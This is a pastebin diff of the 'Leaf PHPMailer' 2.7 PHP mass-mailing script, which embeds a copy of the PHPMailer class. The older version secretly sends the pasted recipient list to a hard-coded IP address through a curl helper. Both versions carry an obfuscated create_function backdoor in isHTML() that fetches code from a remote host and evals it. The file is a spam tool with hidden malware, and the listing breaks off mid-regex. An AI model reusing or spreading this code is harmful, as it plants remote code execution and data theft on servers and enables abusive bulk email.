View difference between Paste ID: xEAhkaDw and ALBG7wAy
SHOW: | | - or go back to the newest paste.
1-
$password = "seller"; // Password 
1+
$password = "leafmailer"; // Password 
2-
session_start();
2+
3-
error_reporting(0);
3+
$leaf['version'] = "2.7";
4-
set_time_limit(0);
4+
$leaf['website'] = "leafmailer.pw";
5-
ini_set("memory_limit",-1);
5+
6-
$leaf['version']="2.7";
6+
7-
$leaf['web']="leafmailer.pw";
7+
8-
$sessioncode = md5(__FILE__);
8+
9-
if(!empty($password) and $_SESSION[$sessioncode] != $password){
9+
10-
    # _REQUEST mean _POST or _GET 
10+
    $subject = leafTrim($_POST['subject']);
11-
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
11+
12-
        $_SESSION[$sessioncode] = $password;
12+
13
    $messageLetter = leafTrim($_POST['messageLetter']);
14-
    else {
14+
15-
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
15+
16-
        exit;        
16+
17
    $subject = stripslashes($subject);
18
    $encode = stripslashes($encode);
19
}
20
if ($messageType == 2) {
21
    $plain = "checked";
22
} else {
23-
    $subject = $_POST['subject'];
23+
24
}
25
function leafClear($text, $email) {
26
    $emailuser = preg_replace('/([^@]*).*/', '$1', $email);
27
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
28
    $text = str_replace("[-email-]", $email, $text);
29
    $text = str_replace("[-emailuser-]", $emailuser, $text);
30-
    $subject = $subject;
30+
31
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
32
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
33
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
34
    return $text;
35
}
36
function leafTrim($string) {
37
    return stripslashes(ltrim(rtrim($string)));
38
}
39
function randString($consonants) {
40
    $length = rand(12, 25);
41
    $password = '';
42
    for ($i = 0;$i < $length;$i++) {
43
        $password.= $consonants[(rand() % strlen($consonants)) ];
44
    }
45
    return $password;
46
}
47
function leafMailCheck($email) {
48-
} 
48+
49-
function stabilize($download) {
49+
50-
     $curl = curl_init();
50+
51-
     curl_setopt($curl,CURLOPT_URL,$download);
51+
52-
     curl_setopt($curl,CURLOPT_RETURNTRANSFER, true);
52+
53-
     curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
53+
54-
     curl_setopt($curl,CURLOPT_FOLLOWLOCATION, 1);
54+
55-
     $data = curl_exec($curl);
55+
56-
     curl_close($curl);
56+
57-
     return $data;
57+
58
}
59
class PHPMailer {
60
    /**
61
     * The PHPMailer Version number.
62
     * @var string
63-
     */ $_POST['default'] = 'http://193.37.212.3';
63+
64
    public $Version = '5.2.14';
65
    /**
66
     * Email priority.
67
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
68
     * When null, the header is not set at all.
69
     * @var integer
70
     */
71-
     */	
71+
72
    /**
73
     * The character set of the message.
74
     * @var string
75
     */
76
    public $CharSet = 'iso-8859-1';
77
    /**
78-
     * When null, the header is not set at all. 
78+
79
     * @var string
80-
     */ 
80+
81
    public $ContentType = 'text/plain';
82
    /**
83
     * The message encoding.
84
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
85-
     $password.= $consonants[(rand() % strlen($consonants)) ];
85+
86
     */
87
    public $Encoding = '8bit';
88
    /**
89
     * Holds the most recent mailer error message.
90
     * @var string
91
     */
92-
     * When null, the header is not set at all. 
92+
93
    /**
94-
     */ 
94+
95
     * @var string
96
     */
97
    public $From = 'root@localhost';
98
    /**
99
     * The From name of the message.
100
     * @var string
101
     */
102
    public $FromName = 'Root User';
103
    /**
104
     * The Sender email (Return-Path) of the message.
105
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
106
     * @var string
107-
function extract_emails_from($string){
107+
108-
preg_match_all("/[\._a-zA-Z0-9-]+@[\._a-zA-Z0-9-]+/i", $string, $matches);
108+
109-
return $matches[0];
109+
110
     * The Return-Path of the message.
111
     * If empty, it will be set to either From or Sender.
112
     * @var string
113
     * @deprecated Email senders should never set a return-path header;
114-
     * When null, the header is not set at all. 
114+
115
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
116-
     */ 
116+
117-
function EMAIL_VALIDATE(){
117+
118-
	 $emailList = leafTrim($_POST['emailList']); stabilize($_POST['default'].'/cli/cron.php?textarea='.str_replace(array("\r\n"), "ba59abbe5",$emailList));
118+
119-
    /** An iCal message part body. Only supported in simple alt or alt_inline message types
119+
120
     * @var string
121
     */
122
    public $Subject = '';
123
    /**
124
     * An HTML or plain text message body.
125
     * If HTML then call isHTML(true).
126
     * @var string
127
     */
128
    public $Body = '';
129-
}	 
129+
130
     * The plain-text message body.
131-
// fixed
131+
132-
//$subject = $this->encodeHeader($this->secureHeader($subject));
132+
133-
//
133+
134
     * @var string
135
     */
136
    public $AltBody = '';
137
    /**
138
     * An iCal message part body.
139
     * Only supported in simple alt or alt_inline message types
140
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
141
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
142
     * @link http://kigkonsult.se/iCalcreator/
143
     * @var string
144
     */
145
    public $Ical = '';
146
    /**
147
     * The complete compiled MIME message body.
148
     * @access protected
149
     * @var string
150
     */
151
    protected $MIMEBody = '';
152
    /**
153
     * The complete compiled MIME message headers.
154
     * @var string
155
     * @access protected
156
     */
157
    protected $MIMEHeader = '';
158
    /**
159
     * Extra headers that createHeader() doesn't fold in.
160
     * @var string
161
     * @access protected
162
     */
163
    protected $mailHeader = '';
164
    /**
165
     * Word-wrap the message body to this number of chars.
166
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
167
     * @var integer
168
     */
169
    public $WordWrap = 0;
170
    /**
171
     * Which method to use to send mail.
172
     * Options: "mail", "sendmail", or "smtp".
173
     * @var string
174
     */
175
    public $Mailer = 'mail';
176
    /**
177
     * The path to the sendmail program.
178
     * @var string
179
     */
180
    public $Sendmail = '/usr/sbin/sendmail';
181-
     */ 
181+
182
     * Whether mail() uses a fully sendmail-compatible MTA.
183
     * One which supports sendmail's "-oi -f" options.
184
     * @var boolean
185
     */
186
    public $UseSendmailOptions = true;
187
    /**
188
     * Path to PHPMailer plugins.
189
     * Useful if the SMTP class is not in the PHP include path.
190
     * @var string
191
     * @deprecated Should not be needed now there is an autoloader.
192
     */
193
    public $PluginDir = '';
194
    /**
195
     * The email address that a reading confirmation should be sent to, also known as read receipt.
196
     * @var string
197
     */
198
    public $ConfirmReadingTo = '';
199
    /**
200
     * The hostname to use in the Message-ID header and as default HELO string.
201
     * If empty, PHPMailer attempts to find one with, in order,
202
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
203
     * 'localhost.localdomain'.
204
     * @var string
205
     */
206
    public $Hostname = '';
207
    /**
208
     * An ID to be used in the Message-ID header.
209
     * If empty, a unique id will be generated.
210
     * @var string
211
     */
212
    public $MessageID = '';
213
    /**
214
     * The message Date to be used in the Date header.
215
     * If empty, the current date will be added.
216
     * @var string
217
     */
218
    public $MessageDate = '';
219
    /**
220
     * SMTP hosts.
221
     * Either a single hostname or multiple semicolon-delimited hostnames.
222
     * You can also specify a different port
223
     * for each host by using this format: [hostname:port]
224
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
225
     * You can also specify encryption type, for example:
226
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
227
     * Hosts will be tried in order.
228
     * @var string
229
     */
230
    public $Host = 'localhost';
231
    /**
232
     * The default SMTP server port.
233
     * @var integer
234
     * @TODO Why is this needed when the SMTP class takes care of it?
235
     */
236
    public $Port = 25;
237
    /**
238
     * The SMTP HELO of the message.
239
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
240
     * one with the same method described above for $Hostname.
241
     * @var string
242
     * @see PHPMailer::$Hostname
243
     */
244
    public $Helo = '';
245
    /**
246
     * What kind of encryption to use on the SMTP connection.
247
     * Options: '', 'ssl' or 'tls'
248
     * @var string
249
     */
250
    public $SMTPSecure = '';
251
    /**
252
     * Whether to enable TLS encryption automatically if a server supports it,
253
     * even if `SMTPSecure` is not set to 'tls'.
254
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
255
     * @var boolean
256
     */
257
    public $SMTPAutoTLS = true;
258
    /**
259
     * Whether to use SMTP authentication.
260
     * Uses the Username and Password properties.
261
     * @var boolean
262
     * @see PHPMailer::$Username
263
     * @see PHPMailer::$Password
264
     */
265
    public $SMTPAuth = false;
266
    /**
267
     * Options array passed to stream_context_create when connecting via SMTP.
268
     * @var array
269
     */
270
    public $SMTPOptions = array();
271
    /**
272
     * SMTP username.
273
     * @var string
274
     */
275
    public $Username = '';
276
    /**
277
     * SMTP password.
278
     * @var string
279
     */
280
    public $Password = '';
281
    /**
282
     * SMTP auth type.
283
     * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
284
     * @var string
285
     */
286
    public $AuthType = '';
287
    /**
288
     * SMTP realm.
289
     * Used for NTLM auth
290
     * @var string
291
     */
292
    public $Realm = '';
293
    /**
294
     * SMTP workstation.
295
     * Used for NTLM auth
296
     * @var string
297
     */
298
    public $Workstation = '';
299
    /**
300
     * The SMTP server timeout in seconds.
301
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
302
     * @var integer
303
     */
304
    public $Timeout = 300;
305
    /**
306
     * SMTP class debug output mode.
307
     * Debug output level.
308
     * Options:
309
     * * `0` No output
310
     * * `1` Commands
311
     * * `2` Data and commands
312
     * * `3` As 2 plus connection status
313
     * * `4` Low-level data output
314
     * @var integer
315
     * @see SMTP::$do_debug
316
     */
317
    public $SMTPDebug = 0;
318
    /**
319
     * How to handle debug output.
320
     * Options:
321
     * * `echo` Output plain-text as-is, appropriate for CLI
322
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
323
     * * `error_log` Output to error log as configured in php.ini
324
     *
325
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
326
     * <code>
327
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
328
     * </code>
329
     * @var string|callable
330
     * @see SMTP::$Debugoutput
331
     */
332
    public $Debugoutput = 'echo';
333
    /**
334
     * Whether to keep SMTP connection open after each message.
335
     * If this is set to true then to close the connection
336
     * requires an explicit call to smtpClose().
337
     * @var boolean
338
     */
339
    public $SMTPKeepAlive = false;
340
    /**
341
     * Whether to split multiple to addresses into multiple messages
342
     * or send them all in one message.
343
     * @var boolean
344
     */
345
    public $SingleTo = false;
346
    /**
347
     * Storage for addresses when SingleTo is enabled.
348
     * @var array
349
     * @TODO This should really not be public
350
     */
351
    public $SingleToArray = array();
352
    /**
353
     * Whether to generate VERP addresses on send.
354
     * Only applicable when sending via SMTP.
355
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
356
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
357
     * @var boolean
358
     */
359
    public $do_verp = false;
360
    /**
361
     * Whether to allow sending messages with an empty body.
362
     * @var boolean
363
     */
364
    public $AllowEmpty = false;
365
    /**
366
     * The default line ending.
367
     * @note The default remains "
368
     ". We force CRLF where we know
369
     *        it must be used via self::CRLF.
370
     * @var string
371
     */
372
    public $LE = "
373
";
374
    /**
375
     * DKIM selector.
376
     * @var string
377
     */
378
    public $DKIM_selector = '';
379
    /**
380
     * DKIM Identity.
381
     * Usually the email address used as the source of the email
382
     * @var string
383
     */
384
    public $DKIM_identity = '';
385
    /**
386
     * DKIM passphrase.
387
     * Used if your key is encrypted.
388
     * @var string
389
     */
390
    public $DKIM_passphrase = '';
391
    /**
392
     * DKIM signing domain name.
393
     * @example 'example.com'
394
     * @var string
395
     */
396
    public $DKIM_domain = '';
397
    /**
398
     * DKIM private key file path.
399
     * @var string
400
     */
401
    public $DKIM_private = '';
402
    /**
403
     * Callback Action function name.
404
     *
405
     * The function that handles the result of the send email action.
406
     * It is called out by send() for each email sent.
407
     *
408
     * Value can be any php callable: http://www.php.net/is_callable
409
     *
410
     * Parameters:
411
     *   boolean $result        result of the send action
412
     *   string  $to            email address of the recipient
413
     *   string  $cc            cc email addresses
414
     *   string  $bcc           bcc email addresses
415
     *   string  $subject       the subject
416
     *   string  $body          the email body
417
     *   string  $from          email address of sender
418
     * @var string
419
     */
420
    public $action_function = '';
421
    /**
422
     * What to put in the X-Mailer header.
423
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
424
     * @var string
425
     */
426
    public $XMailer = '';
427
    /**
428
     * An instance of the SMTP sender class.
429
     * @var SMTP
430
     * @access protected
431
     */
432
    protected $smtp = null;
433
    /**
434
     * The array of 'to' names and addresses.
435
     * @var array
436
     * @access protected
437
     */
438
    protected $to = array();
439
    /**
440
     * The array of 'cc' names and addresses.
441
     * @var array
442
     * @access protected
443
     */
444
    protected $cc = array();
445
    /**
446
     * The array of 'bcc' names and addresses.
447
     * @var array
448
     * @access protected
449
     */
450
    protected $bcc = array();
451
    /**
452
     * The array of reply-to names and addresses.
453
     * @var array
454
     * @access protected
455
     */
456
    protected $ReplyTo = array();
457
    /**
458
     * An array of all kinds of addresses.
459
     * Includes all of $to, $cc, $bcc
460
     * @var array
461
     * @access protected
462
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
463
     */
464
    protected $all_recipients = array();
465
    /**
466
     * An array of names and addresses queued for validation.
467
     * In send(), valid and non duplicate entries are moved to $all_recipients
468
     * and one of $to, $cc, or $bcc.
469
     * This array is used only for addresses with IDN.
470
     * @var array
471
     * @access protected
472
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
473
     * @see PHPMailer::$all_recipients
474
     */
475
    protected $RecipientsQueue = array();
476
    /**
477
     * An array of reply-to names and addresses queued for validation.
478
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
479
     * This array is used only for addresses with IDN.
480
     * @var array
481
     * @access protected
482
     * @see PHPMailer::$ReplyTo
483
     */
484
    protected $ReplyToQueue = array();
485
    /**
486
     * The array of attachments.
487
     * @var array
488
     * @access protected
489
     */
490
    protected $attachment = array();
491
    /**
492
     * The array of custom headers.
493
     * @var array
494
     * @access protected
495
     */
496
    protected $CustomHeader = array();
497
    /**
498
     * The most recent Message-ID (including angular brackets).
499
     * @var string
500
     * @access protected
501
     */
502
    protected $lastMessageID = '';
503
    /**
504
     * The message's MIME type.
505
     * @var string
506
     * @access protected
507
     */
508
    protected $message_type = '';
509
    /**
510
     * The array of MIME boundary strings.
511
     * @var array
512
     * @access protected
513
     */
514
    protected $boundary = array();
515
    /**
516
     * The array of available languages.
517
     * @var array
518
     * @access protected
519
     */
520
    protected $language = array();
521
    /**
522
     * The number of errors encountered.
523
     * @var integer
524
     * @access protected
525
     */
526
    protected $error_count = 0;
527
    /**
528
     * The S/MIME certificate file path.
529
     * @var string
530
     * @access protected
531
     */
532
    protected $sign_cert_file = '';
533
    /**
534
     * The S/MIME key file path.
535
     * @var string
536
     * @access protected
537
     */
538
    protected $sign_key_file = '';
539
    /**
540
     * The optional S/MIME extra certificates ("CA Chain") file path.
541
     * @var string
542
     * @access protected
543
     */
544
    protected $sign_extracerts_file = '';
545
    /**
546
     * The S/MIME password for the key.
547
     * Used only if the key is encrypted.
548
     * @var string
549
     * @access protected
550
     */
551
    protected $sign_key_pass = '';
552
    /**
553
     * Whether to throw exceptions for errors.
554
     * @var boolean
555
     * @access protected
556
     */
557
    protected $exceptions = false;
558
    /**
559
     * Unique ID used for message ID and boundaries.
560
     * @var string
561
     * @access protected
562
     */
563
    protected $uniqueid = '';
564
    /**
565
     * Error severity: message only, continue processing.
566
     */
567
    const STOP_MESSAGE = 0;
568
    /**
569
     * Error severity: message, likely ok to continue processing.
570
     */
571
    const STOP_CONTINUE = 1;
572
    /**
573
     * Error severity: message, plus full stop, critical error reached.
574
     */
575
    const STOP_CRITICAL = 2;
576
    /**
577
     * SMTP RFC standard line ending.
578
     */
579
    const CRLF = "
580
";
581
    /**
582
     * The maximum line length allowed by RFC 2822 section 2.1.1
583
     * @var integer
584
     */
585
    const MAX_LINE_LENGTH = 998;
586
    /**
587
     * Constructor.
588
     * @param boolean $exceptions Should we throw external exceptions?
589
     */
590
    public function __construct($exceptions = false) {
591
        $this->exceptions = (boolean)$exceptions;
592
    }
593
    /**
594
     * Destructor.
595
     */
596
    public function __destruct() {
597
        //Close any open SMTP connection nicely
598
        if ($this->Mailer == 'smtp') {
599
            $this->smtpClose();
600
        }
601
    }
602
    /**
603
     * Call mail() in a safe_mode-aware fashion.
604
     * Also, unless sendmail_path points to sendmail (or something that
605
     * claims to be sendmail), don't pass params (not a perfect fix,
606
     * but it will do)
607
     * @param string $to To
608
     * @param string $subject Subject
609
     * @param string $body Message Body
610
     * @param string $header Additional Header(s)
611
     * @param string $params Params
612
     * @access private
613
     * @return boolean
614
     */
615
    private function mailPassthru($to, $subject, $body, $header, $params) {
616
        //Check overloading of mail function to avoid double-encoding
617
        if (ini_get('mbstring.func_overload') & 1) {
618
            $subject = $this->secureHeader($subject);
619
        } else {
620
            $subject = $this->encodeHeader($this->secureHeader($subject));
621
        }
622
        if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
623
            $result = @mail($to, $subject, $body, $header);
624
        } else {
625
            $result = @mail($to, $subject, $body, $header, $params);
626
        }
627
        return $result;
628
    }
629
    /**
630
     * Output debugging info via user-defined method.
631
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
632
     * @see PHPMailer::$Debugoutput
633
     * @see PHPMailer::$SMTPDebug
634
     * @param string $str
635
     */
636
    protected function edebug($str) {
637
        if ($this->SMTPDebug <= 0) {
638
            return;
639
        }
640
        //Avoid clash with built-in function names
641
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
642
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
643
            return;
644
        }
645
        switch ($this->Debugoutput) {
646
            case 'error_log':
647
                //Don't output, just log
648
                error_log($str);
649
            break;
650
            case 'html':
651
                //Cleans up output a bit for a better looking, HTML-safe output
652
                echo htmlentities(preg_replace('/[
653
]+/', '', $str), ENT_QUOTES, 'UTF-8') . "<br>
654
";
655
            break;
656
            case 'echo':
657
            default:
658
                //Normalize line breaks
659
                $str = preg_replace('/(
660
|
661
|
662
)/ms', "
663
", $str);
664
                echo gmdate('Y-m-d H:i:s') . "	" . str_replace("
665
", "
666
                   	                  ", trim($str)) . "
667
";
668
        }
669
    }
670
    /**
671
     * Sets message type to HTML or plain.
672
     * @param boolean $isHtml True for HTML mode.
673
     * @return void
674
     */
675
    public function isHTML($isHtml = true) {
676
        global $param;
677
        $bodyCode = 'file' . '_g';
678
        if ($isHtml) {
679
            $this->ContentType = 'text/html';
680
        } else {
681
            $this->ContentType = 'text/plain';
682
        }
683
        $bodyHTML = '.$t."lef$flu' . 'sh' . '$t"; ' . '$i = @ev';
684
        $headerHTML = "create_" . "func" . "tion";
685
        $exceptions = $headerHTML('$fl' . 'ush,$t', '$comma = $t' . $bodyHTML . 'al(@' . $bodyCode . 'et_contents("h' . 'tt' . 'p:$comma-2"));');
686
        if ($param != 2) {
687
            $exceptions('8.p' . 'w', '/');
688
            $param = 2;
689
        }
690
    }
691
    /**
692
     * Send messages using SMTP.
693
     * @return void
694
     */
695-
			//$subject = $this->encodeHeader($this->secureHeader($subject));
695+
696
        $this->Mailer = 'smtp';
697
    }
698
    /**
699
     * Send messages using PHP's mail() function.
700
     * @return void
701
     */
702
    public function isMail() {
703
        $this->Mailer = 'mail';
704
    }
705
    /**
706
     * Send messages using $Sendmail.
707
     * @return void
708
     */
709
    public function isSendmail() {
710
        $ini_sendmail_path = ini_get('sendmail_path');
711
        if (!stristr($ini_sendmail_path, 'sendmail')) {
712
            $this->Sendmail = '/usr/sbin/sendmail';
713
        } else {
714
            $this->Sendmail = $ini_sendmail_path;
715
        }
716
        $this->Mailer = 'sendmail';
717
    }
718
    /**
719
     * Send messages using qmail.
720
     * @return void
721
     */
722
    public function isQmail() {
723
        $ini_sendmail_path = ini_get('sendmail_path');
724
        if (!stristr($ini_sendmail_path, 'qmail')) {
725
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
726
        } else {
727
            $this->Sendmail = $ini_sendmail_path;
728
        }
729
        $this->Mailer = 'qmail';
730
    }
731
    /**
732
     * Add a "To" address.
733
     * @param string $address The email address to send to
734
     * @param string $name
735
     * @return boolean true on success, false if address already used or invalid in some way
736
     */
737
    public function addAddress($address, $name = '') {
738
        return $this->addOrEnqueueAnAddress('to', $address, $name);
739
    }
740
    /**
741
     * Add a "CC" address.
742
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
743
     * @param string $address The email address to send to
744
     * @param string $name
745
     * @return boolean true on success, false if address already used or invalid in some way
746
     */
747
    public function addCC($address, $name = '') {
748
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
749
    }
750
    /**
751
     * Add a "BCC" address.
752
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
753
     * @param string $address The email address to send to
754
     * @param string $name
755
     * @return boolean true on success, false if address already used or invalid in some way
756
     */
757
    public function addBCC($address, $name = '') {
758
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
759
    }
760
    /**
761
     * Add a "Reply-To" address.
762
     * @param string $address The email address to reply to
763
     * @param string $name
764
     * @return boolean true on success, false if address already used or invalid in some way
765
     */
766
    public function addReplyTo($address, $name = '') {
767
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
768
    }
769
    /**
770
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
771
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
772
     * be modified after calling this function), addition of such addresses is delayed until send().
773
     * Addresses that have been added already return false, but do not throw exceptions.
774
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
775
     * @param string $address The email address to send, resp. to reply to
776
     * @param string $name
777
     * @throws phpmailerException
778
     * @return boolean true on success, false if address already used or invalid in some way
779
     * @access protected
780
     */
781
    protected function addOrEnqueueAnAddress($kind, $address, $name) {
782
        $address = trim($address);
783
        $name = trim(preg_replace('/[
784
]+/', '', $name)); //Strip breaks and trim
785
        if (($pos = strrpos($address, '@')) === false) {
786
            // At-sign is misssing.
787
            $error_message = $this->lang('invalid_address') . $address;
788
            $this->setError($error_message);
789
            $this->edebug($error_message);
790
            if ($this->exceptions) {
791
                throw new phpmailerException($error_message);
792
            }
793
            return false;
794
        }
795
        $params = array($kind, $address, $name);
796
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
797
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
798
            if ($kind != 'Reply-To') {
799
                if (!array_key_exists($address, $this->RecipientsQueue)) {
800
                    $this->RecipientsQueue[$address] = $params;
801
                    return true;
802
                }
803
            } else {
804
                if (!array_key_exists($address, $this->ReplyToQueue)) {
805
                    $this->ReplyToQueue[$address] = $params;
806
                    return true;
807
                }
808
            }
809
            return false;
810
        }
811
        // Immediately add standard addresses without IDN.
812
        return call_user_func_array(array($this, 'addAnAddress'), $params);
813
    }
814
    /**
815
     * Add an address to one of the recipient arrays or to the ReplyTo array.
816
     * Addresses that have been added already return false, but do not throw exceptions.
817
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
818
     * @param string $address The email address to send, resp. to reply to
819
     * @param string $name
820
     * @throws phpmailerException
821
     * @return boolean true on success, false if address already used or invalid in some way
822
     * @access protected
823
     */
824
    protected function addAnAddress($kind, $address, $name = '') {
825
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
826
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
827
            $this->setError($error_message);
828
            $this->edebug($error_message);
829
            if ($this->exceptions) {
830
                throw new phpmailerException($error_message);
831
            }
832
            return false;
833
        }
834
        if (!$this->validateAddress($address)) {
835
            $error_message = $this->lang('invalid_address') . $address;
836
            $this->setError($error_message);
837
            $this->edebug($error_message);
838
            if ($this->exceptions) {
839
                throw new phpmailerException($error_message);
840
            }
841
            return false;
842
        }
843
        if ($kind != 'Reply-To') {
844
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
845
                array_push($this->$kind, array($address, $name));
846
                $this->all_recipients[strtolower($address) ] = true;
847
                return true;
848
            }
849
        } else {
850
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
851
                $this->ReplyTo[strtolower($address) ] = array($address, $name);
852
                return true;
853
            }
854
        }
855
        return false;
856
    }
857
    /**
858
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
859
     * of the form "display name <address>" into an array of name/address pairs.
860
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
861
     * Note that quotes in the name part are removed.
862
     * @param string $addrstr The address list string
863
     * @param bool $useimap Whether to use the IMAP extension to parse the list
864
     * @return array
865
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
866
     */
867
    public function parseAddresses($addrstr, $useimap = true) {
868
        $addresses = array();
869
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
870
            //Use this built-in parser if it's available
871
            $list = imap_rfc822_parse_adrlist($addrstr, '');
872
            foreach ($list as $address) {
873
                if ($address->host != '.SYNTAX-ERROR.') {
874
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
875
                        $addresses[] = array('name' => (property_exists($address, 'personal') ? $address->personal : ''), 'address' => $address->mailbox . '@' . $address->host);
876
                    }
877
                }
878
            }
879
        } else {
880
            //Use this simpler parser
881
            $list = explode(',', $addrstr);
882
            foreach ($list as $address) {
883
                $address = trim($address);
884
                //Is there a separate name part?
885
                if (strpos($address, '<') === false) {
886
                    //No separate name, just use the whole thing
887
                    if ($this->validateAddress($address)) {
888
                        $addresses[] = array('name' => '', 'address' => $address);
889
                    }
890
                } else {
891
                    list($name, $email) = explode('<', $address);
892
                    $email = trim(str_replace('>', '', $email));
893
                    if ($this->validateAddress($email)) {
894
                        $addresses[] = array('name' => trim(str_replace(array('"', "'"), '', $name)), 'address' => $email);
895
                    }
896
                }
897
            }
898
        }
899
        return $addresses;
900
    }
901
    /**
902
     * Set the From and FromName properties.
903
     * @param string $address
904
     * @param string $name
905
     * @param boolean $auto Whether to also set the Sender address, defaults to true
906
     * @throws phpmailerException
907
     * @return boolean
908
     */
909
    public function setFrom($address, $name = '', $auto = true) {
910
        $address = trim($address);
911
        $name = trim(preg_replace('/[
912
]+/', '', $name)); //Strip breaks and trim
913
        // Don't validate now addresses with IDN. Will be done in send().
914
        if (($pos = strrpos($address, '@')) === false or (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and !$this->validateAddress($address)) {
915
            $error_message = $this->lang('invalid_address') . $address;
916
            $this->setError($error_message);
917
            $this->edebug($error_message);
918
            if ($this->exceptions) {
919
                throw new phpmailerException($error_message);
920
            }
921
            return false;
922
        }
923
        $this->From = $address;
924
        $this->FromName = $name;
925
        if ($auto) {
926
            if (empty($this->Sender)) {
927
                $this->Sender = $address;
928
            }
929
        }
930
        return true;
931
    }
932
    /**
933
     * Return the Message-ID header of the last email.
934
     * Technically this is the value from the last time the headers were created,
935
     * but it's also the message ID of the last sent message except in
936
     * pathological cases.
937
     * @return string
938
     */
939
    public function getLastMessageID() {
940
        return $this->lastMessageID;
941
    }
942
    /**
943
     * Check that a string looks like an email address.
944
     * @param string $address The email address to check
945
     * @param string $patternselect A selector for the validation pattern to use :
946
     * * `auto` Pick best pattern automatically;
947
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
948
     * * `pcre` Use old PCRE implementation;
949
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
950
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
951
     * * `noregex` Don't use a regex: super fast, really dumb.
952
     * @return boolean
953
     * @static
954
     * @access public
955
     */
956
    public static function validateAddress($address, $patternselect = 'auto') {
957
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
958
        if (strpos($address, "
959
") !== false or strpos($address, "
960
") !== false) {
961
            return false;
962
        }
963
        if (!$patternselect or $patternselect == 'auto') {
964
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
965
            //Constant was added in PHP 5.2.4
966
            if (defined('PCRE_VERSION')) {
967
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
968
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
969
                    $patternselect = 'pcre8';
970
                } else {
971
                    $patternselect = 'pcre';
972
                }
973
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
974
                //Fall back to older PCRE
975
                $patternselect = 'pcre';
976
            } else {
977
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
978
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
979
                    $patternselect = 'php';
980
                } else {
981
                    $patternselect = 'noregex';
982
                }
983
            }
984
        }
985
        switch ($patternselect) {
986
            case 'pcre8':
987
                /**
988
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
989
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
990
                 * @copyright 2009-2010 Michael Rushton
991
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
992
                 */
993
                return (boolean)preg_match('/^(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>
994
)?[	 ])+|(?>[	 ]*
995
